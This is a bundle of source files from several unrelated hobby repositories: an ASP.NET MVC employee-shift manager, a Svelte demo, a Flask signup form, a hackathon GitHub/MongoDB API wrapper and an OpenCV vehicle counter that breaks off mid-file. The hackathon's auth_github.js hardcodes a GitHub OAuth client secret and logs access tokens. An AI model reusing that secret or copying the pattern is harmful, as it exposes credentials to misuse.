System.Web; namespace FactoryPrj.Models { public class DataForSearch { public string DepName { get; set; } public int empID { get; set; } public string FirstName { get; set; } public string LastName { get; set; } } }``` EmpIDandShifts.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class empIDandShifts { public int empShifID {get; set; } public int EmpID { get; set; } public string DateAsString { get; set; } public int shiftID { get; set; } } }``` EmpBL.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class EmpBL { FactoryEntities1 db = new FactoryEntities1(); public List<DataForSearch> Serach(string str) { var result = from emp in db.Employees join dep in db.Departments on emp.DepID equals dep.DepID select new DataForSearch { empID = emp.EmpID, DepName = dep.DepName, FirstName = emp.FirstName, LastName = emp.LastName }; return result.Where(x => x.DepName.Contains(str) || x.FirstName.Contains(str) || x.LastName.Contains(str)).ToList(); } public List<empIDandShifts> getAllEmpsWithDateAsString() { var result = from emp in db.Employees join allShif in db.EmployeeShifts on emp.EmpID equals allShif.EmpID join shif in db.Shifts on allShif.ShiftID equals shif.ShiftID select new empIDandShifts { empShifID = allShif.EmpShiftID, EmpID = allShif.EmpID, DateAsString = shif.Date.ToString() + " , "+ shif.StartTime.ToString() + " - " +shif.EndTime.ToString(), shiftID = shif.ShiftID }; return result.ToList(); } public Employee GetEmployee(int id) { return db.Employees.Where(x => x.EmpID == id).First(); } public List<Employee> GetEmployees() { return db.Employees.ToList(); } public void UpdateEmp(Employee emp) { var empToChange = db.Employees.Where(x => x.EmpID == emp.EmpID).First(); empToChange.FirstName = emp.FirstName; empToChange.LastName = emp.LastName; empToChange.StartWorkYear = emp.StartWorkYear; empToChange.DepID = emp.DepID; db.SaveChanges(); } public void DeleteEmp(int id) { Employee emp = db.Employees.Where(x => x.EmpID == id).First(); db.Employees.Remove(emp); var result = db.EmployeeShifts.Where(x => x.EmpID == id).ToList(); foreach (var empshif in result) { db.EmployeeShifts.Remove(empshif); } db.SaveChanges(); } public object getEmpFullName() { var result = from emp in db.Employees select new { empID = emp.EmpID, fullName = emp.FirstName + " " + emp.LastName }; return result.ToList(); } } }``` CurrencyFor.cs ```๏ปฟusing System.Globalization; using System.Linq.Expressions; using System.Runtime.InteropServices; namespace System.Web.Mvc.Html { public static partial class HtmlHelpers { /// <summary> /// Creates an input with a currency mask using JQuery, MoneyMask and Bootstrap. Remember to set the jquery.maskmoney.js reference to your page in order to use the currency mask. /// </summary> /// <typeparam name="TModel"></typeparam> /// <typeparam name="TValue"></typeparam> /// <param name="self"></param> /// <param name="expression"></param> /// <param name="culture">The country culture for currency pattern. If informed, the helper will retrieve the culture data from the framework, if not, it'll retrieve from the Web.Config specified under the system.web/globalization property. If both are not informed, will get 'en-US' pattern as default. </param> /// <param name="events">Custom properties to be added to the tag. Separate them using the equals (=) sign.</param> /// <returns></returns> public static MvcHtmlString CurrencyFor<TModel, TValue>(this HtmlHelper<TModel> self, Expression<Func<TModel, TValue>> expression, [Optional] string culture, [Optional] params string[] events) { var metadata = ModelMetadata.FromLambdaExpression(expression, self.ViewData); // Creates the main Input tag and set general values. var input = new TagBuilder("input"); input.Attributes.Add("id", metadata.PropertyName); input.Attributes.Add("name", metadata.PropertyName); input.Attributes.Add("type", "currency"); // Bootstrap CSS class for inputs. input.AddCssClass("form-control"); // Replaces the value if the Model is not null. input.Attributes.Add("value", metadata.Model == null ? "" : metadata.Model.ToString().Remove(metadata.Model.ToString().Length - 2)); // Starts the JQuery.MoneyMask on element load. input.Attributes.Add("onfocus", "$('#" + metadata.PropertyName + "').maskMoney();"); // Gets the Culture. CultureInfo currentCulture; try { currentCulture = new CultureInfo(culture, false); } catch (Exception) { // If culture is not found, returns the default below. currentCulture = new CultureInfo("en-US"); } // Sets the placeholder format according to the culture. input.Attributes.Add("placeholder", "0" + currentCulture.NumberFormat.CurrencyDecimalSeparator + "00"); // Currency mask data-* attributes according to the Culture. // Thousand separators. input.Attributes.Add("data-thousands", currentCulture.NumberFormat.CurrencyGroupSeparator); // Decimal separators. input.Attributes.Add("data-decimal", currentCulture.NumberFormat.CurrencyDecimalSeparator); // Adds the custom attributes. Helpers.AddAtrributes(input, events); // Prepend styling. // Addon (the icon container) var addon = new TagBuilder("span"); addon.AddCssClass("input-group-addon"); addon.InnerHtml = currentCulture.NumberFormat.CurrencySymbol; // Input group that will hold all the tags and define the prepend boundaries. var inputgroup = new TagBuilder("div"); inputgroup.AddCssClass("input-group"); // Adds the other elements inside the input group. inputgroup.InnerHtml = addon.ToString() + input.ToString(); // Returns the input group. return new MvcHtmlString(inputgroup.ToString()); } } }``` ShiftBL.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class ShiftBL { FactoryEntities1 db = new FactoryEntities1(); public List<Shift> GetShifts() { return db.Shifts.ToList(); } public void AddShift(Shift s) { db.Shifts.Add(s); db.SaveChanges(); } public object GetShiftsWithEmployees() { var result = from emp in db.Employees join allShif in db.EmployeeShifts on emp.EmpID equals allShif.EmpID join shif in db.Shifts on allShif.ShiftID equals shif.ShiftID select new ShiftIDAndEmployess { shiftID = shif.ShiftID, empsInShift = emp.FirstName + " " + emp.LastName, EmpID = allShif.EmpID }; return result.ToList(); } } }``` EmployeeController.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using FactoryPrj.Models; namespace FactoryPrj.Controllers { public class EmployeeController : Controller { EmpBL empBL = new EmpBL(); DepartmentBL depBL = new DepartmentBL(); ShiftBL ShiftBL = new ShiftBL(); EmplShiftBL emshifBL = new EmplShiftBL(); LoginBL loginBL = new LoginBL(); public ActionResult Index() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var emps = empBL.GetEmployees(); var shifts = empBL.getAllEmpsWithDateAsString(); var deps = depBL.GetDepartments(); ViewBag.deps = deps; ViewBag.emps = emps; ViewBag.shifts = shifts; return View(); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult SearchResult(string str) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var results = empBL.Serach(str); ViewBag.emps = results; return View("SearchResult"); } else { return RedirectToAction("Index", "Login"); } } public ActionResult EditEmp(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var deps = depBL.GetDepartments(); ViewBag.deps = deps; var emp = empBL.GetEmployee(id); return View("EditEmp", emp); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult GetUpdatedEmp(Employee emp) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { empBL.UpdateEmp(emp); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } public ActionResult AddShiftToEmployee(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var shifts = ShiftBL.GetShifts(); var emp = empBL.GetEmployee(id); ViewBag.emp = emp; ViewBag.shifts = shifts; return View("AddShiftToEmployee"); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult GetAddedShiftToEmp(int empID, int shiftID) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { emshifBL.AddEmpToShift(shiftID, empID); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } public ActionResult DelteEmployee(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { empBL.DeleteEmp(id); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } } }``` ShiftController.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using FactoryPrj.Models; namespace FactoryPrj.Controllers { public class ShiftController : Controller { ShiftBL shiftBL = new ShiftBL(); LoginBL loginBL = new LoginBL(); public ActionResult Index() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var emps = shiftBL.GetShiftsWithEmployees(); var shif = shiftBL.GetShifts(); ViewBag.shifts = shif; ViewBag.emps = emps; return View(); } else { return RedirectToAction("Index", "Login"); } } public ActionResult EditEmployee(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { return RedirectToAction("EditEmp","Employee", new { id = id }); } else { return RedirectToAction("Index", "Login"); } } public ActionResult AddNewShift() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { return View("AddShift"); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult GetNewShifts(Shift shif) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { shiftBL.AddShift(shif); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } } }``` DepartmentController.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using FactoryPrj.Models; namespace FactoryPrj.Controllers { public class DepartmentController : Controller { DepartmentBL depBL = new DepartmentBL(); LoginBL loginBL = new LoginBL(); EmpBL empBL = new EmpBL(); public ActionResult Index() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var deps = depBL.GetDepartments(); var emps = empBL.GetEmployees(); ViewBag.deps = deps; ViewBag.emps = emps; return View(); } else { return RedirectToAction("Index", "Login"); } } public ActionResult EditDep(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var emps = empBL.getEmpFullName(); ViewBag.emps = emps; var dep = depBL.GetDepartment(id); return View("EditDep", dep); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult GetUpdatedDep(Department dep) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { depBL.UpdateDep(dep); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } public ActionResult AddNewDep() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { var emps = empBL.getEmpFullName(); ViewBag.emps = emps; return View("AddNewDep"); } else { return RedirectToAction("Index", "Login"); } } [HttpPost] public ActionResult GetNewDeps(Department dep) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { depBL.AddDep(dep); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } public ActionResult DeleteDep(int id) { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { depBL.DeleteDep(id); return RedirectToAction("Index"); } else { return RedirectToAction("Index", "Login"); } } } }``` ShiftIDAndEmployess.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class ShiftIDAndEmployess { public int shiftID { get; set; } public string empsInShift { get; set; } public int EmpID { get; set; } } }``` EmplShiftBL.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class EmplShiftBL { FactoryEntities1 db = new FactoryEntities1(); public List<EmployeeShift> getAllshiftswithEmployees() { return db.EmployeeShifts.ToList(); } public EmployeeShift getShiftsbyID(int id) { return db.EmployeeShifts.Where(x => x.EmpID == id).First(); } public void AddEmpToShift(int shiftID, int empID) { EmployeeShift empshif = new EmployeeShift() { ShiftID = shiftID, EmpID = empID }; db.EmployeeShifts.Add(empshif); db.SaveChanges(); } } }``` LoginController.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using FactoryPrj.Models; namespace FactoryPrj.Controllers { public class LoginController : Controller { LoginBL loginBL = new LoginBL(); public ActionResult Index() { return View(); } [HttpPost] public ActionResult GetHomePage(string usrname, string pwd) { bool isAuthenticated = loginBL.IsAuthenticated(usrname, pwd); if (isAuthenticated == true) { var usr = loginBL.getUser(usrname); Session["usrFullName"] = usr.FullName; Session["userName"] = usr.UserName; Session["authenticated"] = true; return View("HomePage"); } else { return RedirectToAction("Index"); } } public ActionResult Logout() { Session.Clear(); return View("Index"); } public ActionResult GotoDepartment() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if(isActionAllowed == true && (bool)Session["authenticated"] == true) { return RedirectToAction("Index", "Department"); } else { return View("Index"); } } public ActionResult GotoShifts() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if(isActionAllowed == true && (bool)Session["authenticated"] == true) { return RedirectToAction("Index", "Shift"); } else { return View("Index"); } } public ActionResult GotoEmployee() { bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]); if (isActionAllowed == true && (bool)Session["authenticated"] == true) { return RedirectToAction("Index", "Employee"); } else { return View("Index"); } } public ActionResult BackToHomePage() { return View("HomePage"); } } }``` DepartmentBL.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class DepartmentBL { FactoryEntities1 db = new FactoryEntities1(); public List<Department> GetDepartments() { return db.Departments.ToList(); } public Department GetDepartment(int id) { return db.Departments.Where(x => x.DepID == id).First(); } public void UpdateDep(Department dep) { var depToChange = db.Departments.Where(x => x.DepID == dep.DepID).First(); depToChange.DepName = dep.DepName; depToChange.DepManager = dep.DepManager; db.SaveChanges(); } public void AddDep(Department dep) { db.Departments.Add(dep); db.SaveChanges(); } public void DeleteDep(int id) { var depToDel = db.Departments.Where(x => x.DepID == id).First(); db.Departments.Remove(depToDel); db.SaveChanges(); } } }```
yuwanli/svelte-demo
yuwanli/svelte-demo main.js ```import Alert from './App.svelte'; new Alert({ target: document.getElementById('test1'), props: { title: 'this is success alert(can close)', message: 'Success Text', type: 'success', closable: true, showIcon: true } }); new Alert({ target: document.getElementById('test2'), props: { title: 'this is error alert(can close)', message: 'error Text', type: 'error', closable: true, showIcon: true } }); new Alert({ target: document.getElementById('test3'), props: { title: 'this is warning alert(can close)', message: 'warning Text', type: 'warning', closable: true, showIcon: true } }); new Alert({ target: document.getElementById('test4'), props: { title: 'this is info alert(can close)', message: 'info Text', type: 'info', closable: true, showIcon: true } }); new Alert({ target: document.getElementById('test5'), props: { title: 'this is success alert(cannot close no icon)', message: 'Success Text', type: 'success', closable: false, showIcon: false } });``` README.md ``` npm install npm run dev http://localhost:xxxx/icon/index.html http://localhost:xxxx/alert/index.html ๆ–ฐๅขž็ป„ไปถ๏ผˆๅฆ‚alert๏ผ‰ 1. public ไธ‹ๆทปๅŠ  alert ๆ–‡ไปถๅคน 2. public/alert ไธ‹ๆทปๅŠ  `index.html` ๆ–‡ไปถ 3. src ไธ‹ๆทปๅŠ ๅฏนๅบ”็š„ alert ๆ–‡ไปถๅคน 4. src/alert ไธ‹ๆทปๅŠ ๅ…ฅๅฃๆ–‡ไปถ `main.js` 5. src/alert ไธ‹ๆทปๅŠ ไธป Svelte ๆ–‡ไปถ `App.svelte```` main.js ```import mainfest from '@ant-design/icons/lib/manifest'; import Icon from './App.svelte'; console.log(mainfest) const fillArr = mainfest.fill for (let i = 0;i < fillArr.length; i++){ let elem = document.createElement('span') new Icon({ target: elem, props: { type: fillArr[i], theme: 'fill', width: '20px', height: '20px' } }); document.getElementById('fill').appendChild(elem) } const outlineArr = mainfest.outline for (let i = 0;i < outlineArr.length; i++){ let elem = document.createElement('span') new Icon({ target: elem, props: { type: outlineArr[i], theme: 'outline', width: '20px', height: '20px' } }); document.getElementById('outline').appendChild(elem) } const twotoneArr = mainfest.twotone for (let i = 0;i < twotoneArr.length; i++){ let elem = document.createElement('span') new Icon({ target: elem, props: { type: twotoneArr[i], theme: 'twotone', width: '20px', height: '20px', twoToneColor: '#eb2f96', } }); document.getElementById('twotone').appendChild(elem) } ```
yuwei845433424/welcomrtojnrain
yuwei845433424/welcomrtojnrain main.js ``` $(document).ready(function() { $('#header') .css({ 'top':-30 }) .delay(1000) .animate({'top': 0}, 800); $('#footer') .css({ 'bottom':-15 }) .delay(1000) .animate({'bottom': 0}, 800); }) function upload(){ var name = $("#name").val(); //deal with the situation of null or blank if(name == null || name == ""){ alert("ๅง“ๅไธบ็ฉบ,่ฏท่พ“ๅ…ฅๅŽๅœจๆไบค"); return; } var tel = $("#tel").val(); if(tel == null || tel == ""){ alert("่”็ณปๆ–นๅผไธบ็ฉบ,่ฏท่พ“ๅ…ฅๅŽๅœจๆไบค"); return; } var content = $("#content").val(); if(content == null || content == ""){ alert("่‡ชๆˆ‘ไป‹็ปไธบ็ฉบ,่ฏท่พ“ๅ…ฅๅŽๅœจๆไบค"); return; } $.ajax({ url: 'upload', type: 'GET', async:'false', dataType: 'text', data: {"name":name,"tel":tel,"content":content}, success:function(data){ }, error:function() { } }) } ``` hellosae.py ```#coding:utf-8 from flask import Flask from flask import request,render_template import MySQLdb as mdb import os import sae.const app = Flask(__name__) @app.route('/') def hello_world(): return render_template('index.html') @app.route('/upload', methods = ['GET','POST']) def upload(): name = request.args['name'] tel = request.args['tel'] content = request.args['content'] try: conn = mdb.connect(host= sae.const.MYSQL_DB , port=sae.const.MYSQL_PORT,user=sae.const.MYSQL_USER,passwd=sae.const.MYSQL_PASS ,db=sae.const.MYSQL_DB,charset='utf8') except: return render_template('wrong.html') cursor = conn.cursor() sqli = "insert into test(name,tel,content) values (%s,%s, %s)" val = (name,tel,content) cursor.execute(sqli,val) conn.commit() cursor.close() conn.close() return render_template('good.html') if __name__ == '__main__': app.run(host='0.0.0.0') application = sae.create_wsgi_app(app) ```
yuxuan-ji/hackthe6ix
yuxuan-ji/hackthe6ix follow_user.js ```const request = require("request"); /** * Get an user * @param {string} token OAuth token * @param {string} target Username of the user you wish to follow * @returns {any} */ module.exports = (token, target, context, callback) => { var auth = 'token ' + token; request( { method: 'PUT', url: 'https://api.github.com/user/following/' + target, headers: { "Authorization": auth, "Content-Length": 0, "User-Agent": "github-lite" } }, function (error, response, body) { if (error) { callback(error); } else if (response) { callback(null, body); } } ); }; ``` README.md ```# API Documentation ``` follow_user ----------- url: https://testhackerman12.lib.id/github-lite@dev/follow_user/ code: lib.testhackerman12.github-lite['@dev'].follow_user() shell: lib testhackerman12.github-lite[@dev].follow_user context: (enabled) bg: info Get an user @param {string} token OAuth token @param {string} target Username of the user you wish to follow @returns {any} get_authenticated_user ---------------------- url: https://testhackerman12.lib.id/github-lite@dev/get_authenticated_user/ code: lib.testhackerman12.github-lite['@dev'].get_authenticated_user() shell: lib testhackerman12.github-lite[@dev].get_authenticated_user context: (enabled) bg: info Get the current authenticated user @param {string} token OAuth token @returns {object} get_user -------- url: https://testhackerman12.lib.id/github-lite@dev/get_user/ code: lib.testhackerman12.github-lite['@dev'].get_user() shell: lib testhackerman12.github-lite[@dev].get_user context: (enabled) bg: info Get an user @param {string} token OAuth token @param {string} target Username of the user you wish to query @returns {any} get_user_repos -------------- url: https://testhackerman12.lib.id/github-lite@dev/get_user_repos/ code: lib.testhackerman12.github-lite['@dev'].get_user_repos() shell: lib testhackerman12.github-lite[@dev].get_user_repos context: (enabled) bg: info Get an user @param {string} token OAuth token @param {string} target Username of the user you wish to query @returns {any} unfollow_user ------------- url: https://testhackerman12.lib.id/github-lite@dev/unfollow_user/ code: lib.testhackerman12.github-lite['@dev'].unfollow_user() shell: lib testhackerman12.github-lite[@dev].unfollow_user context: (enabled) bg: info Get an user @param {string} token OAuth token @param {string} target Username of the user you wish to unfollow @returns {any} `````` auth_github.js ```const lib = require('lib'); const request = require('request'); /** * authenticate * @param {string} code * @returns {any} */ module.exports = (code, context, callback) => { console.log('code ' + code); request.post( { headers:{"Accept": "application/json"}, url:'https://github.com/login/oauth/access_token?client_id=519813e63570d699ea25&client_secret=d4c62256b7dae895dbcaca4700b8ca244f29193f&code='+code }, function (error, response, body) { if (!error && response.statusCode == 200) { var token= JSON.parse(body).access_token; console.log('token ' + token); request( { headers:{"Authorization": "token "+token, "User-Agent":'event-connect'}, url:'https://api.github.com/user' }, function (error, response, body) { //console.log(response); if (!error && response.statusCode == 200) { console.log(JSON.parse(body)); } else if(error){ console.log(JSON.parse(error)); } }); window.location.replace("http://localhost:4200/signup?type=github&token='+token"); } callback(error, response); } ); }; ``` README.md ```# API Documentation ``` delete ------ url: https://testhackerman12.lib.id/mongodb-lite@dev/delete/ code: lib.testhackerman12.mongodb-lite['@dev'].delete() shell: lib testhackerman12.mongodb-lite[@dev].delete context: (enabled) bg: info @param {string} uri [description] @param {string} collectionName [description] @param {array} ids @returns {any} insert ------ url: https://testhackerman12.lib.id/mongodb-lite@dev/insert/ code: lib.testhackerman12.mongodb-lite['@dev'].insert() shell: lib testhackerman12.mongodb-lite[@dev].insert context: (enabled) bg: info @param {string} uri Database uri @param {string} collectionName Name of the collection @param {object} data Data you wish to insert @returns {any} select ------ url: https://testhackerman12.lib.id/mongodb-lite@dev/select/ code: lib.testhackerman12.mongodb-lite['@dev'].select() shell: lib testhackerman12.mongodb-lite[@dev].select context: (enabled) bg: info @param {string} uri uri of the database @param {string} collectionName @param {object} query @returns {any} Returning array throws JSON non serializable update ------ url: https://testhackerman12.lib.id/mongodb-lite@dev/update/ code: lib.testhackerman12.mongodb-lite['@dev'].update() shell: lib testhackerman12.mongodb-lite[@dev].update context: (enabled) bg: info @param {string} uri database uri @param {string} collectionName [description] @param {array} ids @param {object} data {"key_name":"updated_value"} @returns {any} `````` get_authenticated_user.js ```const request = require("request"); /** * Get the current authenticated user * @param {string} token OAuth token * @returns {object} */ module.exports = (token, context, callback) => { var auth = 'token ' + token; request( { url: 'https://api.github.com/user', json: true, headers: { "Authorization": auth, "User-Agent": "github-lite" } }, function (error, response, body) { if (error) { callback(error); } else if (response) { callback(null, body); } } ); }; ``` get_near_users.js ```const lib = require('lib'); /** * Get all near users * @param {string} long * @param {string} lat * @returns {any} */ module.exports = (long='', lat='', context, callback) => { //TODO: Geolocation query using $near lib.testhackerman12['mongodb-lite']['@dev'].select( { uri: process.env.MONGO_URI, collectionName: "users", query: {} }, function(err, res) { callback(err, JSON.parse(res)); } ); }; ``` select.js ```const mongodb = require('mongodb'); const MongoClient = mongodb.MongoClient; let cache = null; /** * @param {string} uri uri of the database * @param {string} collectionName * @param {object} query * @returns {any} Returning array throws JSON non serializable */ module.exports = (uri, collectionName, query, context, callback) => { try { if (cache === null) { MongoClient.connect(uri, (error, db) => { if (error) { console.log(error['errors']); return callback(error); } cache = db; selectData(db, collectionName, query, callback); }); } else { selectData(cache, collectionName, query, callback); } } catch (error) { console.log(error); return callback(error); } }; const selectData = (db, collectionName, query, callback) => { let cursor = db.collection(collectionName).find(query); let items = []; cursor.each((error, item) => { if (error) { console.log(error); } if (item == null) { return callback(null, JSON.stringify(items)); } items.push(item); }); }; ``` login.js ```const lib = require('lib'); var username; var avatar_url; var github_followers; var github_following; var name; var position; var long; var lat; var uri; var linkedinProfileName; /** * Get an user * @param {string} token OAuth token * @param {string} type * @param {string} position * @param {string} long Longitude * @param {string} lat Latitude * @param {string} linkedinProfileName * @returns {any} */ module.exports = (token, type, position='', long='', lat='', linkedinProfileName='', context, callback) => { if (type === 'github') { lib.testhackerman12['github-lite']['@dev'].get_authenticated_user( {token: token}, function (err, result) { if (err) return callback(err); username = result.login; avatar_url = result.avatar_url; github_followers = result.followers; github_following = result.following; name = result.name; position = position; long = parseFloat(long); lat = parseFloat(lat); linkedinProfileName = linkedinProfileName; uri = process.env.MONGO_URI; console.log(result); lib.testhackerman12['mongodb-lite']['@dev'].select( { uri: uri, collectionName: "users", query: {username: username} }, function(err, result) { console.log(result); result = JSON.parse(result); console.log('1 ' + result + ' ' + result.length); if (err) return callback(err); let data = { username: username, avatar_url: avatar_url, github_followers: github_followers, github_following: github_following, name: name, position: position, loc: {lng: long, lat: lat}, linkedinProfileName: linkedinProfileName }; console.log(data); let users = result; if (users.length != 0) { lib.testhackerman12['mongodb-lite']['@dev'].update( { uri: uri, collectionName: "users", ids: new Array(users[0]['_id']), data: data }, function(err, result) { callback(err, result); } ); } else { lib.testhackerman12['mongodb-lite']['@dev'].insert( { uri: uri, collectionName: "users", data: data }, function(err, result) { callback(err, result); } ); } } ); } ); } }; ``` delete.js ```const mongodb = require('mongodb'); const MongoClient = mongodb.MongoClient; let cache = null; /** * @param {string} uri [description] * @param {string} collectionName [description] * @param {array} ids * @returns {any} */ module.exports = (uri, collectionName, ids, context, callback) => { ids = ids.map(id => new mongodb.ObjectID(id)); try { if (cache === null) { MongoClient.connect(uri, (error, db) => { if (error) { console.log(error['errors']); return callback(error); } cache = db; deleteData(db, collectionName, ids, callback); }); } else { deleteData(cache, collectionName, ids, callback); } } catch (error) { console.log(error); return callback(error); } }; const deleteData = (db, collectionName, ids, callback) => { db.collection(collectionName).deleteMany({ _id: { $in: ids } }, (error, results) => { if (error) { console.log(error); return callback(error); } return callback(null, results); }); }; ``` insert.js ```const MongoClient = require('mongodb').MongoClient; let cache = null; /** * @param {string} uri Database uri * @param {string} collectionName Name of the collection * @param {object} data Data you wish to insert * @returns {any} */ module.exports = (uri, collectionName, data, context, callback) => { let text = context.params.text || ''; let completed = context.params.completed || false; try { if (cache === null) { MongoClient.connect(uri, (error, db) => { if (error) { console.log(error['errors']); return callback(error); } cache = db; insertData(db, collectionName, data, callback); }); } else { insertData(cache, collectionName, data, callback); } } catch (error) { console.log(error); return callback(error); } }; const insertData = (db, collectionName, data, callback) => { db.collection(collectionName).insertOne(data, (error, result) => { if (error) { console.log(error); return callback(error); } return callback(null, result.insertedId); }); }; ``` README.md ```# API Documentation ``` get_near_users -------------- url: https://testhackerman12.lib.id/event-connect@dev/get_near_users/ code: lib.testhackerman12.event-connect['@dev'].get_near_users() shell: lib testhackerman12.event-connect[@dev].get_near_users context: (enabled) bg: info Get all near users @param {string} long @param {string} lat @returns {any} login ----- url: https://testhackerman12.lib.id/event-connect@dev/login/ code: lib.testhackerman12.event-connect['@dev'].login() shell: lib testhackerman12.event-connect[@dev].login context: (enabled) bg: info Get an user @param {string} token OAuth token @param {string} type @param {string} position @param {string} long Longitude @param {string} lat Latitude @param {string} linkedinProfileName @returns {any} ``````
yuyooo/Vehicle-Counting-System
yuyooo/Vehicle-Counting-System README.md ```# Vehicle-Counting-System OpenCV-2.4.8 ๆฑฝ่ฝฆ่ฎกๆ•ฐ็ณป็ปŸ ``` fdfBike.cpp ```#include "opencv2/opencv.hpp" #include<iostream> using namespace std; using namespace cv; Mat MoveDetect(Mat frame1, Mat frame2) { Mat result = frame2.clone(); Mat gray1, gray2; cvtColor(frame1, gray1, CV_BGR2GRAY); cvtColor(frame2, gray2, CV_BGR2GRAY); Mat diff; absdiff(gray1, gray2, diff); imshow("absdiss", diff); threshold(diff, diff, 45, 255, CV_THRESH_BINARY); imshow("threshold", diff); Mat element = getStructuringElement(MORPH_RECT, Size(1, 1)); Mat element2 = getStructuringElement(MORPH_RECT, Size(7, 7)); erode(diff, diff, element); imshow("erode", diff); dilate(diff, diff, element2); imshow("dilate", diff); vector<vector<Point>> contours; vector<Vec4i> hierarcy; findContours(diff, contours, hierarcy, CV_RETR_EXTERNAL, CHAIN_APPROX_NONE); //ๆŸฅๆ‰พ่ฝฎๅป“ vector<Rect> boundRect(contours.size()); //ๅฎšไน‰ๅค–ๆŽฅ็Ÿฉๅฝข้›†ๅˆ //drawContours(img2, contours, -1, Scalar(0, 0, 255), 1, 8); //็ป˜ๅˆถ่ฝฎๅป“ int x0=0, y0=0, w0=0, h0=0; for(int i=0; i<contours.size(); i++) { boundRect[i] = boundingRect((Mat)contours[i]); //ๆŸฅๆ‰พๆฏไธช่ฝฎๅป“็š„ๅค–ๆŽฅ็Ÿฉๅฝข x0 = boundRect[i].x; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅทฆไธŠ่ง’็š„xๅๆ ‡ y0 = boundRect[i].y; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅทฆไธŠ่ง’็š„yๅๆ ‡ w0 = boundRect[i].width; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅฎฝๅบฆ h0 = boundRect[i].height; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„้ซ˜ๅบฆ rectangle(result, Point(x0, y0), Point(x0+w0, y0+h0), Scalar(0, 255, 0), 2, 8); //็ป˜ๅˆถ็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข } return result; } void main() { VideoCapture cap("bike.avi"); if(!cap.isOpened()) //ๆฃ€ๆŸฅๆ‰“ๅผ€ๆ˜ฏๅฆๆˆๅŠŸ return; Mat frame; Mat result; Mat temp; int count=0; while(1) { cap>>frame; if(!frame.empty()) { count++; if(count==1) result = MoveDetect(frame, frame); else result = MoveDetect(temp, frame); imshow("video", frame); imshow("result", result); temp = frame.clone(); if(waitKey(50)==27) break; } else break; } cap.release(); } ``` Vehicle_Counting_System.cpp ```#include "opencv2/opencv.hpp" #include<iostream> using namespace std; using namespace cv; int 